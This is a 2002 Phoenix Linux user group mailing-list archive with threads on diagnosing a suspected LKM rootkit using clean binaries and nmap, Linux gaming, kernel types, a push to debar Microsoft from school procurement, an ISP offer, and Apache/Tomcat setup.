note is that 1.3.26 addresses and fixes the issues noted in CAN-2002-0392 (mitre.org) [CERT VU#944335] regarding a vulnerability in the handling of chunked transfer encoding as described above. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:58:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 01:58:16 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 11:52:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 07:52:32 -0400 Subject: possible LKM rootkit infection References: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <3D107080.CE03D21A@georgetoft.com> Please post your results when you reach resolution. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- technomage wrote: > > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 13:40:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 06:40:30 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <20020619134030.37517.qmail@web14008.mail.yahoo.com> What are the processes that are invisible? Are any of them using a high/odd port number? IE ssh on port 37337? Any other info you can provide about this would also be helpful. IE how is your system connected to the net? Also, (curiosity on my part)what are using for a rootkit checker? scott --- technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by > e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:35:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 07:35:52 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <000d01c2179e$9d34ccb0$2f7c0d82@peyote> UT has already been explained, as for TO, it is a now retail mod for UT called Tactical Ops "Assault on Terror" YEAH!!!! has the feel of Half Life's Counter Strike. slr ----- Original Message ----- From: "George Toft" To: Sent: Tuesday, June 18, 2002 7:28 PM Subject: Re: Does Linux do games well? > For those of us whose Linux gaming experience is limited to doom and > decent, could you spell out the games names, ie, UT and TO? > > George > > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > > > slr wrote: > > > > linuxgames.com is a great link for linux games > > > > if you have the 3D hardware and the most recent vid. drv. to play the newer > > games, then i would say YES!!! linux is great for playing games, Wolfenstein > > plays better for me in linux than is does in Windoze, as does Soldier of > > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > > but there just isnt enough titles, and now with Loki gone the future is > > somewhat dim. > > > > slr > > > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > > How good is linux for games? > > > > > > Linux has a rep for running more efficiently on older hardware than W*. > > > Is there a website that lists games available to linux and minimal hardware > > > needed for them? > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:02:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 08:02:04 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Also, run nmap against your computer from another computer to see if there's anything listening that shouldn't be. ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 07:59:56 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: It's possible that the "lsof" command wasn't trojaned, since most root kits don't check for it. Try "lsof -ni" and see if there's any difference between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" from another machine that you know hasn't been compromised (a fresh install is best, and make sure it's the same arch/distro). If lsof shows an unusual port, check to see what program is running in the far left column. Locate that program and run "strings" on it to get more info. This should get you started. Keep us updated on what you find. Thanks, ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:00:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Fred A. Miller) Date: Wed, 19 Jun 2002 01:00:45 -0400 Subject: Help Maricopa County Do the Right Thing Message-ID: <200206190100.47041.fmiller@lightlink.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To: George Toft George, I wish you and everyone there in the Phoenix group the best in your endeavor!!! IF you are successful, it SHOULD become National news, and I'll request that you let me know the final verdict and the details. I'll make certain that Linux groups are well informed! Best, Fred - -- "...Linux, MS-DOS, and Windows 2000 (also known as the Good, the Bad, and the Ugly)." -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj0QD/0ACgkQeNJ3p8sZ/usJDwCdFOOOhIV227R4UBfWjMImd2Db HQoAnji07xNM0hJNSaLx9m0Lh0mJUpZ7 =Uyqd -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:20:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 08:20:08 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Tell more about your rootkit checker, sounds like a really handy tool! The very few root'd *nix boxes we've handled, generally start with clean copies of binaries such as: ps, lsof, netstat, lsattr (for linux ext2), ... If neccessary, mount a cd with the binaries you'll need, or NFS from a shared CD. (favor CD so you're certain your binaries can't be overwritten by a clever rootkit). Most that I recall have been linux boxen, between a clean netstat (netstat -pan) and sniffing around the filesystem with lsattr & ls finds most of the little nasties. Start easy, copy a clean netstat over and have a look-see. I have not yet seen a root-kit that really defends itself against the sysadmin copying over a clean binary and using it to look around. If you suspect a stealth kernel, reboot from a cd, then hunt the filesystem. 'course my favorite is to just slick the machine, reinstall ... sometimes that is quicker. Running nmap against the suspected target may show you hidden listeners. If you wish, post the IP & wether there is a firewall, I'm sure several on the list would be happy to sweep your box from outside your network. (which is always a good thing to do! see if your configuration is really doing what you think it is doing!!) - tom e. ------------------------------------------ On Wed, 19 Jun 2002, technomage wrote: ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Wed, 19 Jun 2002 08:42:50 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <3D10A67A.5050206@asu.edu> Modular is when your kernel is able to load modules for a particular device. That is, make it available for the kernel to load as necessary at run-time, which requires that the kernel be compiled with kernel-module-loading ability. Monolithic is when there are no modules to load at run-time. All modules for devices are compiled into the kernel and loaded at boot. Even if a device is never or rarely used the "bloated" kernel carries around the knowledge of how to communicate with that type of device. Typically, the RedHat 7.2 kernel comes monolithic. The instructions probably discuss monolithic kernels in the sense that YOU manually load the module, and modular kernels in the sense that the kernel needs to be recompiled to make the kernel aware that the module is available at run-time. You can select these things when you re-compile the kernel. Sorry, that this probably wasn't a very concise explanation, and certainly not thorough. Regardless, RedHat comes compiled with kudzu, which is the plug and play ability. When you boot up with the new device, kudzu will ask you if you want to configure the new device. Then you are good to go. If anyone wants to clarify or correct any of the above, feel free. --Roderick Ford Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:58:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 08:58:10 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <02061908581006.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. All if > > these programs come under > > the "General Public License" which means they are > > 100% free to the public for > > personal and commercial use. > > -- > > Visit the Mountain Ridge Band Site at > > http://www.mrhsband.org > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a uqHWgWriXgbXcZvWptly5CtJ =tKg8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:01:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 09:01:00 -0700 Subject: gentoo 1.2 In-Reply-To: <20020618210224.GA27747@aries.evilmascot.com> References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> Message-ID: <200206190901.00430.zen2now@qwest.net> thanks very much for the info, but after further research on my part i have decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all 5 disks before i die! know of a fast mirror? :~D slr On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > The i686 disk has install stages 1-3 on the disk, they must be refering to > the fact that if you build and compile starting from stage1 you can have a > working system on any i386+ while stage3 has everything precompiled but > only supports i686+. > > The last version I needed to install from was 1.1, which only included a > i386 kernel to install from, I can't see how they'd some how muck install > kernels for two diff architectures onto one cd (not to mention I doubt the > el torito boodable cd standardworks on sparc machines). > > -Kyle > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > good morning plug, > > > > question for you guys familiar with gentoo. i > > noticed they sell a SPARC version, but i also noticed this statement: > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > allow a build from scratch for *all* systems, but also has pre-built > > stuff for i686+ CPUs. > > > > the Note states that the i686 will allow a build from scratch on *all* > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > server and i dont like working with Solaris 8. so gentoo sounds like a > > great alternative for bringing new life to an over priced desktop. > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:28:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:28:11 -0700 Subject: Local ISPs... In-Reply-To: Message-ID: <5.1.0.14.0.20020619092610.024e2b30@localhost> I can actually help you out with that. I have a special for PLUG people of $14.95 per month. I am not afraid nor will I yell too much when you send me some problem reports. The PLUG has always helped me out when I need a redirection. If you want to get this connected, just give me a call and it takes less than 10 minutes to get you going. My phone number is 602-375-5363. Kimi A. Adams, V.P. Unity Wave, L.L.C. At 6/19/02, you wrote: >Can anybody recommend a good local dialup ISP that is Linux-friendly and >reliable? I don't need a lot of hand-holding, just one that isn't going >to get all weird when I report a problem and I give them output from >pppd's logs. > >(my current ISP, USISP [which is neither linux-friendly nor local] has >constant problems with what should be easy stuff [you know, little things >like changing my account without telling me and keeping the in-addr.arpa >records working] and I'm sick of it) > >-Fedl > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:34:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:34:29 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <5.1.0.14.0.20020619093307.024ec210@localhost> Would this be civil? Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >According to the state administrative rules, it looks like most if not all of >the school districts could be required to initiate debarment proceedings >against MS. Anyone know an attorney who is willing to take something like >this on pro-bono? > >On Tuesday 18 June 2002 21:39, you wrote: > > Here is the response I received from David Cantelme, Deer Valley school > > board member. He is the one who has arizonalawinstitute@yahoo.com as his > > email address. It sounds to me that all the school districts and the state > > itself should be starting debarment proceedings against MS. We need to > > start contacting the legislators, Attorney General's office and your local > > school superintendents. > > > > > > ----- Original Message ----- > > From: "david cantelme" > > To: "Tom Achtenberg" > > Sent: Tuesday, June 18, 2002 6:08 AM > > Subject: Re: Computer Purchasing Guidelines > > > > > > Dear Mr. Actenburg: > > > > They do not, but similar rules found in the state > > school district procurement rules do apply. Both sets > > of rules have their origen in the state procurement > > code. You can find the school district procurement > > rules by going to the secretary of state web site. > > Click on administrative rules. Go to title seven. > > Then scroll down to R7-2-1001. That's where the rules > > begin. They continue to about R7-2-1175. > > > > Debarment procedures do exist in the school district > > procurement rules. You would need to address your > > comments on debarment to the adminsitration. That's > > who would initiate the procedure. If the > > administration initiates a debarment procedure, the > > board determines whether to appoint a hearing officer. > > It goes from there to the officer with appropriate > > due process to the contractor. The board itself has > > no involvement in the hearing process. The officer > > must be independent to ensure a fair hearing under our > > constitutional system. > > > > --- Tom Achtenberg wrote: > > > I was wondering if the Maricopa County purchasing > > > policies listed below apply > > > to DVUSD purchasing pprocedures? > > > > > > Maricopa County policies. Interesting references: > > > > > > MC1-101 DEFINITIONS > > > 25."CONTRACTOR" means any Person who has a Contract > > > with a County > > > Governmental unit. For purposes of Article 5, > > > Contractor may also mean > > > Respondent as defined in this Article. > > > 36."DEBARMENT" means an action taken by the County > > > Administrative > > > Officer under MC1-902 to prohibit a Person from > > > Participating in > > > Maricopa County Procurements. > > > 80."PERSON" means any corporation, Business, > > > individual, union, > > > committee, club, other organization or group of > > > individuals. > > > 113."SUSPENSION" means an action taken by the County > > > Administrative > > > Officer under MC1-902 temporarily disqualifying a > > > Person from > > > participating in Maricopa County Procurements. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > [Microsoft is considered a Contractor and a Person. > > > This is important > > > below.] > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > All Specifications shall seek to promote overall > > > economy for the purpose > > > intended and encourage competition in satisfying > > > Maricopa County's needs > > > and shall not be unduly restrictive. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > [Is there any technology that is Microsoft > > > exclusive? I believe there > > > are sites that explain how to replace Exchange > > > Server completely using > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > with mySQL or PostgreSQL; > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > Office suite is > > > replaceable with the very comparable Open Office > > > suite.] > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > B. The causes for Debarment or Suspension shall > > > include, but are not > > > limited to, the following: > > > 2. Conviction of any Person or any subsidiary or > > > affiliate of any Person > > > under any statute of the Federal government, this > > > State or its political > > > subdivision or any other State for: > > > k. Any other offense indicating a lack of business > > > integrity or business > > > honesty which affects responsibility as a > > > Contractor. > > > 3. Conviction or civil judgment finding a violation > > > by any Person or any > > > subsidiary or affiliate of any Person under State or > > > Federal Antitrust > > > Statutes. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > been convicted of a > > > violation of Federal Antitrust Statues, cannot be a > > > County Contractor. > > > > > > There are many alternatives to Microsofts products. > > > Alternatives that have > > > broken no laws, Federal or Local, are well supported > > > and used by many large > > > governments (Germany, Taiwan, et al). As a > > > concerned voter in the DVUSD, I > > > must point out that I cannot support criminal > > > behavior and would hope that my > > > Governing Board would see fit to do the same and > > > ONLY consider alternatives > > > as Microsoft is clearly unqualified to meet District > > > requirements. > > > > > > Thank You, > > > > > > Tom Achtenberg > > > > > > PS this message was written ans sent to you using a > > > computer that is 100% > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > operating system, KDE windows > > > like desktop and the K-mail email client. All if > > > these programs come under > > > the "General Public License" which means they are > > > 100% free to the public for > > > personal and commercial use. > > > -- > > > Visit the Mountain Ridge Band Site at > > > > http://www.mrhsband.org > > > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a >uqHWgWriXgbXcZvWptly5CtJ >=tKg8 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Wed, 19 Jun 2002 09:42:30 -0700 Subject: Apache, JSP and Jakarta setup question Message-ID: You shouldn't have any problems getting Apache and Tomcat to work as you described. You should be able to access your static HTML content by browsing to http://localhost and your servlets/JSPs by browsing to http://localhost:8080. And once you get Apache talking to Tomcat (with mod_jk or one of its cousins), you can access your servlets by browsing to http://localhost/servlets. Although you didn't ask for it, I can describe some of my experience trying to set up Tomcat with Apache. :) Basically I used an article I found at Linux Journal (http://www.linuxjournal.com/article.php?sid=4576). Once I figured out that Apache 2.0.x is different than Apache 1.3.x, and Tomcat 4.0.x is different than Tomcat 3.2.x, and that the documentation isn't as up-to-date as the software, I was able to follow this article and get Apache 1.3.24 serving static HTML content and passing servlet/JSP requests over to Tomcat 3.2.4 via mod_jk on a RedHat Linux 7.3 box. Before I figured out those differences, I wasted a couple weeks trying to figure out why Tomcat 4.0.x wasn't generating a mod_jk.conf-auto like all the docs said it should, or why Apache 2.0.x didn't seem to be loading the mod_jk module, or why Apache just didn't seem to understand what to do with incoming requests for a .jsp page even though I TOLD it what to do, etc., etc. I still have not been able to find any (good) documentation describing how to set up Apache 2.0.x with mod_jk and Tomcat 4.0.x. I did find an article (http://dcb.sun.com/practices/howtos/tomcat_apache.jsp) which describes how to get Apache talking to Tomcat 4.0.x with mod_webapp, but I failed to get that working either, for reasons I can't recall. I guess the good thing is that, as a result of struggling for two weeks to get this working, I gained a pretty good understanding of the workers.properties, server.xml, mod_jk.conf-auto, httpd.conf and web.xml files. Now if I could just figure out how to get the tag to work in SSI pages (without using the obviously preferable method of converting those SSI pages to JSPs).... Good luck, ~Jeff On Monday, June 17, 2002 4:11 PM, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? > > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's 